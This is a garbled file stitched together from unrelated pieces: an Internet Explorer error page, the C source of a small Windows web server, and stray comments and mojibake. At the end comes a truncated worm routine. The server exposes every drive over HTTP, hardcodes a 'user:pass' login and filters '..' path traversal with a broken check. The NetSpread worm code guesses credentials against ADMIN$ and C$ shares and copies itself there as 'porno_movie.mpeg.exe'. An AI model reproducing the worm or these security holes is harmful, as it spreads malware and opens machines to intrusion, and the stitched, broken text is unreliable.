<title>Internet Explorer cannot display the webpage</title>
<script src="errorPageStrings.js" language="javascript" type="text/javascript">
</script>
<script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">
</script>
</head>
<body onLoad="javascript:initMoreInfo('infoBlockID');">
<table width="730" cellpadding="0" cellspacing="0" border="0">
<!-- Error title -->
<tr>
<td id="infoIconAlign" width="60" align="left" valign="top" rowspan="2">
<img src="noConnect.png" id="infoIcon" alt="Info icon" width="48" height="48">
</td>
<td id="mainTitleAlign" valign="middle" align="left" width="*">
<h1 id="mainTitle">Internet Explorer cannot display the webpage</h1>
</td>
</tr>
<tr>
<!-- This row is for HTTP status code, as well as the divider-->
<td id="errorCodeAlign" class="errorCodeAndDivider" align="right">
<div class="divider"></div>
</td>
</tr>
<!-- What you can do -->
<tr>
<td>
</td>
<td id="whatToTryAlign" valign="top" align="left">
<h2 id="whatToTry">What you can try:</h2>
</td>
</tr>
<!-- Check Connection -->
<tr>
<td >
</td>
<td id="checkConnectionAlign" align="left" valign="middle">
<h4>
<table>
<tr>
<td valign="top">
</td>
<td valign="middle">
<button onclick="javascript:diagnoseConnectionAndRefresh(); return false;" id="diagnose">Diagnose Connection Problems</button>
</td>
</tr>
</table>
</h4>
</td>
</tr>
<!-- InfoBlock -->
<tr>
<td id="infoBlockAlign" align="right" valign="top">
</td>
<td id="moreInformationAlign" align="left" valign="middle">
<h4>
<table>
<tr>
<td valign="top">
<a href="#" onclick="javascript:expandCollapse('infoBlockID', true); return false;"><img src="down.png" id="infoBlockIDImage" border="0" class="actionIcon" alt="More information"></a>
</td>
<td valign="top">
<span id="moreInfoContainer"></span>
<noscript><ID id="moreInformation">More information</ID></noscript>
</td>
</tr>
</table>
</h4>
<div id="infoBlockID" class="infoBlock" style="display: none">
<p>
<ID id="errorExpl1">This problem can be caused by a variety of issues, including:</ID>
<ul>
<li id="errorExpl2">Internet connectivity has been lost.</li>
<li id="errorExpl3">The website is temporarily unavailable.</li>
<li id="errorExpl4">The Domain Name Server (DNS) is not reachable.</li>
<li id="errorExpl5">The Domain Name Server (DNS) does not have a listing for the website's domain.</li>
<li id="errorExpl7">There might be a typing error in the address.</li>
<li id="errorExpl6">If this is an HTTPS (secure) address, click Tools, click Internet Options, click Advanced, and check to be sure the SSL and TLS protocols are enabled under the security section.</li>
</ul>
</p>
<p id="offlineUsers"><b>For offline users</b></p>
<p id="viewSubscribedFeeds1">
You can still view subscribed feeds and some recently viewed webpages.
<br/>
To view subscribed feeds:
<ol><li id="viewSubscribedFeeds2">Click the Favorites button <img src="favcenter.png" border="0">, click <b>Feeds</b>, and then click the feed you want to view.</li>
</ol></p><p id="viewRecentWebpages1">To view recently visited webpages (might not work on all pages):
<ol><li id="viewRecentWebpages2">Press Alt, click <b>File</b>, and then click <b>Work Offline</b>.</li>
<li id="viewRecentWebpages3">Click the Favorites button <img src="favcenter.png" border="0">, click <b>History</b>, and then click the page you want to view.</li>
</ol></p></div></td></tr></table></body></html>
*/
char * strtok_r (char *s, const char *delim, char **save_ptr) {
if (s == NULL)
s = *save_ptr;
/* Scan leading delimiters. */
s += strspn (s, delim);
if (*s == '\0') {
*save_ptr = s;
return NULL;
}
/* Find the end of the token. */
char * token = s;
s = strpbrk (token, delim);
if (s == NULL)
/* This token finishes the string. */
*save_ptr = strchr (token, '\0');
else {
/* Terminate the token and make *SAVE_PTR point past it. */
*s = '\0';
*save_ptr = s + 1;
}
return token;
}
char x2c(char *what) {
register char digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
digit *= 16;
digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
return(digit);
}
char * unescape_url(char *url) {
register int x,y;
for (x=0,y=0; url[y]; ++x,++y) {
if ((url[x] = url[y]) == '%') {
url[x] = x2c(&url[y+1]);
y+=2;
}
}
url[x] = '\0';
return url;
}
char * last_component (char const *name) {
char const *base = name;
char const *p;
int saw_slash = 0;
while (*base == '/')
base++;
for (p = base; *p; p++) {
if (*p == '/')
saw_slash = 1;
else if (saw_slash) {
base = p;
saw_slash = 0;
}
}
return (char *) base;
}
char * human_size(unsigned long long size, char* buf) {
char * suffix;
unsigned long long modulus;
if (size > 1099511627776ull) {
modulus = 1099511627776ull;
suffix = " petabyte";
} else if (size > 1073741824ull) {
modulus = 1073741824ull;
suffix = " gigabyte";
} else if (size > 1048576) {
modulus = 1048576;
suffix = " megabyte";
} else if (size > 1024) {
modulus = 1024;
suffix = " kilobyte";
} else {
modulus = 1;
suffix = " byte";
}
unsigned long newsz = size / modulus;
sprintf(buf, "%lu %s", newsz, suffix);
return buf;
}
unsigned long long FileSize(char * what) {
union {
unsigned long a, b;
unsigned long long c;
} l2d;
l2d.c = 0;
HANDLE MF = CreateFile(what, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
if ( MF != INVALID_HANDLE_VALUE ) {
l2d.b = GetFileSize(MF, &l2d.a);
CloseHandle(MF);
} else
printf("error\n");
return l2d.c;
}
void BuildHeader(char * buf, int code, char * msg) {
char * time_buf = (char*) calloc (256,sizeof(char));
time_t now = time(NULL);
strftime(time_buf, 256, "%a, %d %b %Y %H:%M:%S %Z", gmtime(&now));
sprintf(buf, "HTTP/1.1 %d %s\r\n", code, msg);
sprintfc(buf, "Date: %s\r\n", time_buf);
sprintfc(buf, "Server: %s\r\n", SERVER_VER);
if(code==401){sprintfc(buf, "WWW-Authenticate: Basic realm=\"%s\"\r\n", ServerInfo->Auth_Realm);}
sprintfc(buf, "Connection: close\r\n");
free(time_buf);
}
void SendErrorPage(SOCKET s, int error, char * message) {
char * message_buf = (char*) calloc (1024,sizeof(char));
BuildHeader(message_buf, error, message);
sprintfc(message_buf, "Content-type: text/plain\r\n\r\n");
sprintfc(message_buf, "Error %d: %s\r\n\r\n", error, message);
send(s, message_buf, strlen(message_buf), 0);
free(message_buf);
}
int ParseGetStr(const char * get2, char*** key2, char*** val2) {
char ** key = NULL;
char ** val = NULL;
int got = 0;
char *get = strdup(get2);
// get requesty bit
char * base = strchr(get, '?');
if (base) {
base++; // skip ?
// get first key
char * vtok, ** val_t, **key_t, *strtok_tmp;
char * ktok = strtok_r(base, "=", &strtok_tmp);
while (ktok) {
// and value
vtok = strtok_r(NULL, "&", &strtok_tmp);
if (vtok) {
// weve got a pair!
got++;
// stick em in an array
val_t = val;
key_t = key;
key = realloc(key_t, got * sizeof(char *));
val = realloc(val_t, got * sizeof(char *));
key[got - 1] = strdup(ktok);
val[got - 1] = strdup(vtok);
unescape_url(key[got - 1]);
unescape_url(val[got - 1]);
//printf("got #%d: %s = %s\n", got, key[got - 1], val[got - 1]);
}
ktok = strtok_r(NULL, "=", &strtok_tmp);
}
}
//printf("done! %d found %x %x\n", got, key, val);
*key2 = key;
*val2 = val;
free(get);
return got;
}
int IsDriveValid(char letter) {
char * drive = (char*) calloc (5,sizeof(char));
sprintf(drive, "%c:\\", letter);
if (GetDriveType(drive) != DRIVE_NO_ROOT_DIR) {
free(drive);
return 1;
}
free(drive);
return 0;
}
char * TypeDrive(char letter) {
char * drive = (char*) calloc (5,sizeof(char));
sprintf(drive, "%c:\\", letter);
char * ret;
switch (GetDriveType(drive)) {
case DRIVE_REMOVABLE:
ret = "Removable";
break;
case DRIVE_FIXED:
ret = "Hard Drive";
break;
case DRIVE_REMOTE:
ret = "Network";
break;
case DRIVE_CDROM:
ret = "CD-ROM";
break;
case DRIVE_RAMDISK:
ret = "RAM Disk";
break;
case DRIVE_UNKNOWN:
ret = "Unknown";
break;
default:
ret = "Invalid";
}
free(drive);
return ret;
}
void Initialise() {
SetConsoleTitle(SERVER_VER);
ServerInfo = (ServerInfo_*) calloc (sizeof(ServerInfo_),sizeof(ServerInfo_));
ServerInfo->log = (char*) calloc (900,sizeof(char));
ServerInfo->BannedIPs = (char*) calloc (200,sizeof(char));
ServerInfo->Hits=0;
ServerInfo->_400=0;
ServerInfo->_404=0;
ServerInfo->_501=0;
ServerInfo->_InvalidCmds=0;
ServerInfo->dif=0;
ServerInfo->CanShutdown=true;
ServerInfo->CanRestart=true;
ServerInfo->UseBannedIpList=true;
ServerInfo->UseRemoteAdministration=false;
ServerInfo->UsePageRefreshing=true;
ServerInfo->UseDirectoryBrowsing=true;
ServerInfo->CanListProcesses=true;
ServerInfo->UseChat=true;
ServerInfo->DisableRemoteConfig=false;
ServerInfo->CanViewStatistics=false;
ServerInfo->CanChangeDrives=false;
ServerInfo->UseTestingAreas=true;
ServerInfo->CanViewServerInfo=false;
ServerInfo->UseWWWAuth=true;
ServerInfo->menu1 = (char*) calloc (200,sizeof(char));
strcpy(ServerInfo->menu1,"<center>[<a href='/'>Control Pannel</a> · <a href='/?die'>Shutdown</a>]</center>");
ServerInfo->Auth_Realm = (char*) calloc (20,sizeof(char));
strcpy(ServerInfo->Auth_Realm,"Hell");
ServerInfo->Base64_Auth_Details = (char*) calloc (50,sizeof(char));
strcpy(ServerInfo->Base64_Auth_Details,"dXNlcjpwYXNz");
ServerInfo->NETWORK_PORT=80;
//strcpy(ServerInfo->SERVER_IP,"127.0.0.1");
/*struct sockaddr_in SocketAddress;
struct hostent *pHost = 0;
char SERVER_HOSTNAME[200];
gethostname(SERVER_HOSTNAME, sizeof(SERVER_HOSTNAME));
pHost = gethostbyname(SERVER_HOSTNAME);
memcpy(&SocketAddress.sin_addr, pHost->h_addr_list[0], pHost->h_length);
strcpy(ServerInfo->SERVER_IP, inet_ntoa(SocketAddress.sin_addr));
printf("\nServerInfo->SERVER_IP = %s",ServerInfo->SERVER_IP);*/
sprintf(ServerInfo->Info_Footer, "<center><i>%s Server at %s Port %d</i></center>",SERVER_VER,"127.0.0.1",ServerInfo->NETWORK_PORT);
strcpy(ServerInfo->wwwroot_path,"C:/wwwroot/index.html");
ServerInfo->StopServer = false;
}
int ParseCommand(SOCKET sock,char * data) {
///**************************************************************************///
////////////////////////////////////////////////////////////////////////////////
///**************************************************************************///
if (strncmp(data,"/?die",5) == 0){
char *server_buf = (char*) calloc (8192,sizeof(char));
char *listing = (char*) calloc (512,sizeof(char));
BuildHeader(server_buf, 200, "OK");
send(sock, server_buf, strlen(server_buf), 0);
sprintf(server_buf, "<html><head><title>Shutdown</title></head><body><center><h1>Shutdown</h1><hr>");
if(!ServerInfo->CanShutdown)
{
sprintfc(server_buf,"<br>You are not allowed to shutdown this server<br><br></center><br><hr></body></html>%s",ServerInfo->Info_Footer);
sprintf(listing, "Content-length: %d\r\n\r\n", strlen(server_buf));
send(sock, listing, strlen(listing), 0);
send(sock, server_buf, strlen(server_buf), 0);
free(listing);
free(server_buf);
closesocket(sock);
return;
}else{
sprintfc(server_buf, "<br>The server was shutdown successfully</center><br><hr></body></html>%s",ServerInfo->Info_Footer);
}
sprintf(listing, "Content-length: %d\r\n\r\n", strlen(server_buf));
send(sock, listing, strlen(listing), 0);
send(sock, server_buf, strlen(server_buf), 0);
free(listing);
free(server_buf);
closesocket(sock);
ExitProcess(0); //Add free()'s for all vars
return;
}
///**************************************************************************///
////////////////////////////////////////////////////////////////////////////////
///**************************************************************************///
char *server_buf = (char*) calloc (8192,sizeof(char));
BuildHeader(server_buf, 200, "OK");
send(sock, server_buf, strlen(server_buf), 0);
sprintf(server_buf, "<html><head><title>Error: Invalid Command</title></head>");
sprintfc(server_buf, "<body><center><h1>Error: Invalid Command</h1><hr>");
sprintfc(server_buf, "Invalid Command</a><hr>");
sprintfc(server_buf, "</center><br></body></html>");
sprintfc(server_buf, "%s",ServerInfo->Info_Footer);
char *listing = (char*) calloc (512,sizeof(char));
sprintf(listing, "Content-length: %d\r\n\r\n", strlen(server_buf));
send(sock, listing, strlen(listing), 0);
send(sock, server_buf, strlen(server_buf), 0);
free(listing);
free(server_buf);
closesocket(sock);
return;
}
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define true (1 == 1)
#define false (!true)
#define SERVER_VER "SupraWWW.mod v1.0-wrl"
#define sprintfc(string, ...) sprintf(string+strlen(string), ##__VA_ARGS__)
typedef struct ServerInfo {
char *BannedIPs; //List of banned ip's
char *log; //Log
int _404; //File Not Found
int _400; //Bad Request
int _501; //Not Implemented
int Hits;
int _InvalidCmds;
char *menu1;
char *menu2;
double dif;
char SERVER_IP[20];
short NETWORK_PORT;
int CanShutdown;
int CanRestart;
int UseBannedIpList;
int UseRemoteAdministration;
int UsePageRefreshing;
int UseDirectoryBrowsing;
int CanListProcesses;
int UseChat;
int DisableRemoteConfig;
int CanViewStatistics;
int CanChangeDrives;
int UseTestingAreas;
int CanViewServerInfo;
int UseWWWAuth;
//char CHAT_DATA[5000];
//char MSG_LOG[3000];
char *Auth_Realm;
char *Base64_Auth_Details;
char Info_Footer[100];
char wwwroot_path[100];
int StopServer;
}ServerInfo_;
ServerInfo_ *ServerInfo;
typedef struct ClientDetails {
SOCKET socket;
char *IP;
int Authorised;
time_t start;
}ClientInfo;
time_t start;
time_t end;
char * strtok_r (char *s, const char *delim, char **save_ptr);
char x2c(char *what);
char * unescape_url(char *url);
char * last_component (char const *name);
char * human_size(unsigned long long size, char* buf);
SOCKET SetUpListener(LPCSTR where, SHORT port);
unsigned long long FileSize(char * what);
void BuildHeader(char * buf, int code, char * msg);
void SendErrorPage(SOCKET s, int error, char * message);
int ParseGetStr(const char * get2, char*** key2, char*** val2);
int IsDriveValid(char letter);
char * TypeDrive(char letter);
void Initialise();
int ParseCommand(SOCKET sock, char * data);
int main();
DWORD ServeWeb(ClientInfo * Client);
#include "header.h"
#include "core.h"
int main() {
Initialise();
WSADATA w;
WSAStartup(MAKEWORD(2,0), &w);
SOCKET accepted, listener = socket(AF_INET, SOCK_STREAM, 0);
if (listener != INVALID_SOCKET) {
struct sockaddr_in sin_interface;
sin_interface.sin_family = AF_INET;
sin_interface.sin_addr.s_addr = inet_addr("0.0.0.0");
sin_interface.sin_port = htons(ServerInfo->NETWORK_PORT);
if (bind(listener, (struct sockaddr*)&sin_interface,sizeof(struct sockaddr_in)) != SOCKET_ERROR)
listen(listener, 20);
DWORD dummy;
SOCKADDR_IN remotesox;
int nsize = sizeof (remotesox);
while (1) {
accepted = accept(listener, (SOCKADDR *) &remotesox, &nsize);
if ((accepted == INVALID_SOCKET) && (WSAGetLastError() == WSAECONNRESET))
continue;
else if (accepted == INVALID_SOCKET)
break;
ClientInfo * Client = (ClientInfo*) calloc (sizeof(ClientInfo),sizeof(ClientInfo));
Client->IP=inet_ntoa (remotesox.sin_addr);
Client->socket=accepted;
Client->Authorised=false;
Client->start=start;
ServerInfo->Hits++;
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ServeWeb, Client, 0, &dummy);
Sleep(10);
}
}
printf("Something went wrong. error %d\n", WSAGetLastError());
closesocket(listener);
closesocket(accepted);
WSACleanup();
}
DWORD ServeWeb(ClientInfo * Client) {
SOCKET s = Client->socket;
char * server_buf, *listing;
char * client_buf = (char*) calloc (1024,sizeof(char)); // 1k is enough
int client_buf_len = recv(s, client_buf, 1024, 0);
if ((client_buf_len == SOCKET_ERROR) || (client_buf_len == 0)) {
printf("Something went wrong. error %d\n", WSAGetLastError());
free(client_buf);
closesocket(s);
return 0;
}
if(ServerInfo->UseWWWAuth) {
int f=0;
char * fpch = strtok (client_buf,"\n\r");
while (fpch != NULL)
{
if(strstr(fpch,"Authorization: Basic") != NULL)
{
if(strstr(fpch,ServerInfo->Base64_Auth_Details) != NULL)
{
Client->Authorised=true;
}
break;
}else{
fpch = strtok (NULL, "\n\r");
f++;
}
}
}
if (ServerInfo->UseWWWAuth && !Client->Authorised) {
server_buf = (char*) calloc (8192,sizeof(char));
BuildHeader(server_buf, 401, "Unautharised");
send(s, server_buf, strlen(server_buf), 0);
listing = (char*) calloc (512,sizeof(char));
sprintf(server_buf, "<html><head><title>Access Denied</title></head><body>"
"<center><h1>Access Denied</h1><hr>Authentication Error</a><hr></center><br></body></html>%s",ServerInfo->Info_Footer);
sprintf(listing, "Content-length: %d\r\n\r\n", strlen(server_buf));
send(s, listing, strlen(listing), 0);
send(s, server_buf, strlen(server_buf), 0);
free(listing);
free(client_buf);
free(server_buf);
closesocket(s);
return 0;
}
char * strtok_tmp;
char * request = strtok_r(client_buf, "\r\n", &strtok_tmp);
char * method = strtok_r(request, " ", &strtok_tmp);
if (method == NULL) {
SendErrorPage(s, 400, "Bad Request");
free(client_buf);
closesocket(s);
}
if (strcmp(method, "GET") != 0 && strcmp(method, "HEAD") != 0) {
SendErrorPage(s, 501, "Not Implemented");
free(client_buf);
closesocket(s);
}
char * uri = strtok_r(NULL, " ", &strtok_tmp);
char * http_ver = strtok_r(NULL, " ", &strtok_tmp);
if (uri == NULL || http_ver == NULL) {
SendErrorPage(s, 400, "Bad Request");
free(client_buf);
closesocket(s);
}
if (strncmp(http_ver, "HTTP/1.", 6) != 0) {
SendErrorPage(s, 505, "Invalid HTTP Version");
free(client_buf);
closesocket(s);
}
if (strncmp(uri,"/?", 2) == 0) {
ParseCommand(s, uri);
}
if (strcmp(uri, "/") == 0) {
/// MENU PAGE: drive select
server_buf = (char*) calloc (8192,sizeof(char));
BuildHeader(server_buf, 200, "OK");
send(s, server_buf, strlen(server_buf), 0);
listing = (char*) calloc (512,sizeof(char));
sprintf(server_buf, "<html><head><title>Control Pannel</title></head><body><center><h2>Main Menu</h2>");
if(ServerInfo->CanShutdown) // || strstr(Client->IP,ServerInfo->SERVER_IP) != NULL)
sprintfc(server_buf, "<a href='/?die' onClick=\"return confirm('This will shutdown SupraWWW. Continue?')\">Shutdown</a><br><br>");
sprintfc(server_buf, "<a href='/?server.i'>Server Info</a><br>");
sprintfc(server_buf, "<a href='/?config.m'>Configuration</a><br><br>");
sprintfc(server_buf, "<a href='/?chat'>Online Chat</a><br>");
sprintfc(server_buf, "<a href='/%s'>Website</a><br>",ServerInfo->wwwroot_path);
sprintfc(server_buf, "<a href='/?box.plist'>Process List</a><br><br>");
sprintfc(server_buf, "<a href='/?stats'>Statistics</a><br><br>");
sprintfc(server_buf, "<a href='javascript:alert(\"SupraWWW by sekio, Modified by wrl\")'>About</a><br><br>");
sprintfc(server_buf, "<a href='/?test.xxx'>Testing Area 1</a><br>");
sprintfc(server_buf, "<a href='/?test.yyy'>Testing Area 2</a><br>");
sprintfc(server_buf, "<a href='/?test.zzz'>Testing Area 3</a><br><br>");
char driveletter;
for (driveletter = 'C'; driveletter <= 'Z'; driveletter++)
if (IsDriveValid(driveletter))
sprintfc(server_buf, "<a href=\"/%c:/\">Drive %c (%s)</a><br>\n",driveletter, driveletter, TypeDrive(driveletter));
sprintfc(server_buf, "<hr>%s</center></body></html>",ServerInfo->Info_Footer);
sprintf(listing, "Content-length: %d\r\n\r\n", strlen(server_buf));
send(s, listing, strlen(listing), 0);
send(s, server_buf, strlen(server_buf), 0);
free(listing);
free(client_buf);
free(server_buf);
closesocket(s);
}
if (strncmp(uri, "/get", 4) == 0) {
/// MENU PAGE: GET test
server_buf = (char*) calloc (8192,sizeof(char));
BuildHeader(server_buf, 200, "OK");
send(s, server_buf, strlen(server_buf), 0);
listing = (char*) calloc (512,sizeof(char));
char **getv, **getk;
int keys = ParseGetStr(uri, &getk, &getv);
sprintf(server_buf, "<html><head><title>%s</title></head>\n"
"<body><h1>GET test</h1><hr>\n", SERVER_VER);
int i;
if (getk && getv && keys)
for (i = 0; i< keys; i++) {
sprintfc(server_buf, "<b>%s</b> = %s<br>\n", getk[i], getv[i]);
} else
sprintfc(server_buf, "<b>No data</b>\n");
sprintfc(server_buf, "<hr><small>%s</small></body></html>", SERVER_VER);
sprintf(listing, "Content-length: %d\r\n\r\n", strlen(server_buf));
send(s, listing, strlen(listing), 0);
send(s, server_buf, strlen(server_buf), 0);
if (getk && getv && keys) {
for (i = 0; i <= keys; i++) {
free(getk[i]);
free(getv[i]);
}
free(getk);
free(getv);
}
free(listing);
free(client_buf);
free(server_buf);
closesocket(s);
}
uri++;
unescape_url(uri);
char * token = strstr (uri, "..");
while (token != NULL) {
memmove (token, token + 2, 2);
token = strstr (token, "..");
}
char * uri_wc = (char*) calloc (strlen(uri) + 3,sizeof(char));
int file_type = GetFileAttributes(uri);
if (file_type == INVALID_FILE_ATTRIBUTES) {
sprintf(uri_wc, "%s/", uri); // ugly hack for C: etc
file_type = GetFileAttributes(uri);
if (file_type == INVALID_FILE_ATTRIBUTES) {
SendErrorPage(s, 404, "Not Found");
free(client_buf);
closesocket(s);
}
}
server_buf = (char*) calloc (1024,sizeof(char));
BuildHeader(server_buf, 200, "OK");
if (file_type & FILE_ATTRIBUTE_DIRECTORY) {
char * size_str = (char*) calloc (256,sizeof(char));
send(s, server_buf, strlen(server_buf), 0);
uri_wc = (char*) calloc (strlen(uri) + 3,sizeof(char));
if (uri[strlen(uri)-1] != '/')
sprintf(uri_wc, "%s/*", uri);
else
sprintf(uri_wc, "%s*", uri);
char * fbasename = last_component(uri);
WIN32_FIND_DATA dirlist;
HANDLE hlist = FindFirstFile(uri_wc, &dirlist);
if (hlist != INVALID_HANDLE_VALUE) {
int lcount = 1024;
listing = (char*) calloc (5000,sizeof(char));
char * liststr = (char*) calloc (256,sizeof(char));
char * uri_wd = (char*) calloc (MAX_PATH,sizeof(char));
char * tmp = (char*) calloc (1000,sizeof(char));
char * buff = (char*) calloc (100,sizeof(char));
char * Path = (char*) calloc (5000,sizeof(char));
char * store = (char*) calloc (9000,sizeof(char));
char * ResultBuff = (char*) calloc (9000,sizeof(char));
strcpy(Path,uri);
char * xpch = strtok (Path,"/");
while (xpch != NULL) {
sprintf (buff,"%s",xpch);
strcat(store,buff);
strcat(store,"/");
sprintf (tmp,"<a href='/%s'>%s</a>\\",store,buff);
strcat(ResultBuff,tmp);
memset(buff, 0, 100);
memset(tmp, 0, 1000);
xpch = strtok (NULL, "/");
}
free(tmp);
free(buff);
free(Path);
free(store);
free(xpch);
sprintf(listing, "<html><head><title>Listing of %s</title></head><body>"
"%s<h3>Listing of %s</h3><hr><table width=\"100%%\" border=\"0\">", fbasename, ServerInfo->menu1, ResultBuff);
free(ResultBuff);
sprintf(uri_wd, "%s%s", uri, (uri[strlen(uri)-1] == '/') ? "" : "/");
char * uri_e = uri_wd + strlen(uri_wd);
sprintf(uri_e, dirlist.cFileName);
file_type = GetFileAttributes(uri_wd);
if (file_type & FILE_ATTRIBUTE_DIRECTORY) {
if(strncmp(uri_e,".",1) != 0) {
strcat(uri_e, "/");
sprintf(liststr, "<a href=\"%s\">%s</a>", uri_e, uri_e);
sprintfc(listing, "<tr><td width=\"70%%\"><b>%s</b></td>"
"<td align=\"right\"><i>%s</i></td></tr>\n", liststr, "Directory");
}
} else {
sprintf(liststr, "<a href=\"%s\">%s</a>", uri_e, uri_e);
sprintfc(listing, "<tr><td width=\"70%%\"><b>%s</b></td>"
"<td align=\"right\">%s</td></tr>\n", liststr, human_size(FileSize(uri_wd), size_str));
}
char * listing_tmp;
while (FindNextFile(hlist, &dirlist) != 0) {
lcount+=256;
listing_tmp = listing;
listing = realloc(listing_tmp, lcount);
sprintf(uri_e, dirlist.cFileName);
file_type = GetFileAttributes(uri_wd);
if (file_type & FILE_ATTRIBUTE_DIRECTORY) {
if(strncmp(uri_e,"..",2) != 0) {
strcat(uri_e, "/");
sprintf(liststr, "<a href=\"%s\">%s</a>", uri_e, uri_e);
sprintfc(listing, "<tr><td><b>%s</b></td>"
"<td align=\"right\"><i>%s</i></td></tr>\n", liststr, "Directory");
}
} else {
sprintf(liststr, "<a href=\"%s\">%s</a>", uri_e, uri_e);
sprintfc(listing, "<tr><td><b>%s</b></td>"
"<td align=\"right\">%s</td></tr>\n", liststr, human_size(FileSize(uri_wd), size_str));
}
}
lcount += 256;
listing_tmp = listing;
listing = realloc(listing_tmp, lcount);
sprintfc(listing, "</table><br><hr><small>%s</small></body></html>\r\n", ServerInfo->Info_Footer);
sprintf(server_buf, "Content-length: %d\r\n\r\n", strlen(listing));
send(s, server_buf, strlen(server_buf), 0);
send(s, listing, strlen(listing), 0);
FindClose(hlist);
free(listing);
free(liststr);
free(uri_wd);
}
free(uri_wc);
free(size_str);
} else {
unsigned long long file_size = FileSize(uri);
sprintfc(server_buf, "Content-length: %llu\r\n", file_size);
char * fbasename = last_component(uri);
char * fext = strrchr(fbasename, '.');
char * mime;
if (fext != NULL) {
fext++;
if ((strcasecmp(fext, "html") == 0) || (strcasecmp(fext, "htm") == 0))
mime = "text/html";
else if (strcasecmp(fext, "css") == 0)
mime = "text/css";
else if (strcasecmp(fext, "js") == 0)
mime = "text/javascript";
else if ((strcasecmp(fext, "txt") == 0) || (strcasecmp(fext, "log") == 0))
mime = "text/plain";
else if ((strcasecmp(fext, "bat") == 0) || (strcasecmp(fext, "c") == 0))
mime = "text/plain";
else if ((strcasecmp(fext, "cpp") == 0) || (strcasecmp(fext, "h") == 0))
mime = "text/plain";
else if ((strcasecmp(fext, "ini") == 0) || (strcasecmp(fext, "asm") == 0))
mime = "text/plain";
else if ((strcasecmp(fext, "jpg") == 0) || (strcasecmp(fext, "jpeg") == 0))
mime = "image/jpeg";
else if (strcasecmp(fext, "gif") == 0)
mime = "image/gif";
else if (strcasecmp(fext, "png") == 0)
mime = "image/png";
else if ((strcasecmp(fext, "mpg") == 0) || (strcasecmp(fext, "mpeg") == 0))
mime = "video/mpeg";
else if ((strcasecmp(fext, "mp3") == 0))
mime = "audio/mpeg";
else if ((strcasecmp(fext, "zip") == 0))
mime = "application/zip";
else if ((strcasecmp(fext, "rar") == 0))
mime = "application/x-rar";
else if ((strcasecmp(fext, "wav") == 0))
mime = "audio/x-wav";
else
mime = "application/octet-stream";
} else
mime = "application/octet-stream";
sprintfc(server_buf, "Content-type: %s\r\n\r\n", mime);
send(s, server_buf, strlen(server_buf), 0);
FILE * file = fopen(uri, "rb");
while (!feof(file)) {
/// NOTE
// if files are corrupting: THIS IS THE PROBLEM
int amount = fread(server_buf, 1, 1024, file);
send(s, server_buf, amount, 0);
}
fclose(file);
}
free(client_buf);
free(server_buf);
closesocket(s);
return 0;
}
//This pad text is synchronized as you type, so that everyone viewing this page sees the same text. This allows you to collaborateseamlesslyondocuments!
//* Connection 1: 81.23.XX.XX - Kyivstar.net, Kiev, Ukrain/***************************************************/
// { ab = hexToAscii(line[i], line[i+1]);
// photo_hex.close();
//nox, gly, glu, asp, ala, val, lys, asn, thr, ile, arg, gln, his, pro, trp, cys, tyr, ser, leu, phe, met;
/*¡ÿ¢£¤¥¦§¨©ª«®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙLATINCAPITALLETTERUWITHGRAVLLLÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþ*/
/*TheBerkeleyLabresearchersstartedwiththeMvirus.exe,whichisharmlesstohumansandcommonlyusedinlabexperiments.exe,Dr.Leesaid.TheygeneticallymodifiedtheM13toenhanceitspiezoelectricproperties.exe,thencreatedathinfilmofthematerialaboutthesizeofapostagestamp.Thefilmwasthenplacedbetweentwogold-platedelectrodes.Whenpressurewasapplied.exe,itproducedenoughcurrenttolightupanLEDdisplay—aboutone-fourththevoltageofatriple-Abattery.(Seethevideobelow.)*/
//orwell port?
// cin.get(k);
//* Connection 1: 81.23.XX.XX - Kyivstar.net, Kiev, Ukrain/***************************************************/
/*int nox(int argc, char *argv[])
{
double i, ab
ofstream photo;
string line, line1;
photo.open ("picture.jpg");
ifstream photo_hex ("foto2_HEX.txt");
if (photo_hex.is_open())
{ i=0;
while ( photo_hex.good() )
{ getline (photo_hex,line);
for (i=0; i < line.length(); i++)
{ ab = hexToAscii(line[i], line[i+1]);
i++;
//cout << ab;
photo << ab;
}
}
}
photo.close();
photo_hex.close();
return EXIT_SUCCESS;
}
// ::OnInit IMPLEMENT_APP(MyApp);
//bool MyApp();
{
MyFrame * frame = new MyFrame(0L("wxWidgets Application Template"));
frame->Show();
double uua, uug, cuu, cuc, cua, cug, aug, uuu, uuc, ucu, ucc, uca, ucg, agu, agc, uau, uac, ugu, ugc, ugg, cau, cac, caa, cag, cgu, cgc, cga, cgg, aga, agg, auu, auc, aua, acu, acc, aca, acg, aau, aac, ccu, ccc, cca, ccg, aaa, aag, guu, guc, gua, gug, gcu, gcc, gca, gcg, gau, gac, gaa, gag, ggu, ggc, gga, ggg, uaa, uag, uga, nox, gly, glu, asp, ala, val, lys, asn, thr, ile, arg, gln, his, pro, trp, cys, tyr, ser, leu, phe, met
void Beeper()
/* This function will copy the worm in shares *
void NetSpread(char *remote,char *my_path)
{
NETRESOURCE net_inf;
char nb_remote[MAX_PATH],*share_name[] = {"SharedDocs","ADMIN$","C$","D$","E$","C","D"};
DWORD ret,share_cnt,users_cnt,pwd_cnt;
for(share_cnt = 0;share_cnt < 7;share_cnt++)
{
//for(users_cnt = 0;users_cnt < USERS_NUM;users_cnt++)
{
for(pwd_cnt = 0;pwd_cnt < PWD_NUM;pwd_cnt++)
{
memset(nb_remote,0,MAX_PATH);
sprintf(nb_remote,"%s\\%s",remote,share_name[share_cnt]);
memset(&net_inf,0,sizeof(net_inf));
net_inf.dwDisplayType = RESOURCETYPE_ANY;
net_inf.lpRemoteName = nb_remote;
net_inf.lpLocalName = NULL;
net_inf.lpProvider = NULL;
/* try to connect *
ret = WNetAddConnection2(&net_inf,
passwords_list[pwd_cnt],
users_list[users_cnt],
0);
if(ret == NO_ERROR)
{
/* OK! *
strcat(nb_remote,"\\porno_movie.mpeg.exe");
CopyFile(my_path,nb_remote,FALSE);
memset(nb_remote,0,MAX_PATH);
